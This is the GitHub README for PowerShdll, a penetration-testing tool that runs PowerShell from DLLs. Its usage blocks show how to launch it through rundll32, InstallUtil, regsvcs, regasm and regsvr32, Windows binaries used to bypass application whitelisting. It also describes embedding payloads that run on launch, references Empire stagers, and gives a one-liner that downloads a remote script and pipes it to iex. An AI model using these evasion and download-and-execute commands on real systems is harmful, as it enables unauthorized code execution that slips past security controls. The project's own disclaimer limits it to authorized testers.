

p3nt4 / PowerShdll Public

Notifications

Fork **253**

Star **1.8k**

Code

Issues

Pull requests

Actions

Projects

Security

Insights

PowerShdll / README.md

76 lines (60 loc) · 3.08 KB

Preview Code Blame

Raw

PowerShdll

Run PowerShell with dlls only.

Does not require access to powershell.exe as it uses powershell automation dlls.

PowerShdll can be run with: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe or as a standalone executable.

dll mode:

Rundll32:

```
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h          Display this message
rundll32 PowerShdll,main -f <path>   Run the script passed as argument
rundll32 PowerShdll,main -w          Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i          Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
```

Alternatives (Credit to SubTee for these techniques):

```
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= ,
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfi

2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll

3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.d

4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
```

exe mode

```
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h          Display this message
PowerShdll.exe -f <path>   Run the script passed as argument
PowerShdll.exe -i          Start an interactive console in this console (Default)
```

Embedded payloads

Payloads can be embedded by modifying the "payload" variable in the start method of the common.cs file. If a payload is embedded, all other varguments will be ignored and the payload will be executed upon running PowerShdll.

Examples


Run base64 encoded script

```
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Con
```

Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode

Download and run script

```
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex
```



Requirements

- .Net v3.5 for dll mode.
- .Net v2.0 for exe mode.

Known Issues

Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly.

In dll mode, interactive mode and command output rely on hijacking the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash.

Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.

Disclaimer

This project is intended for security researchers and penetration testers and should only be used with the approval of system owners.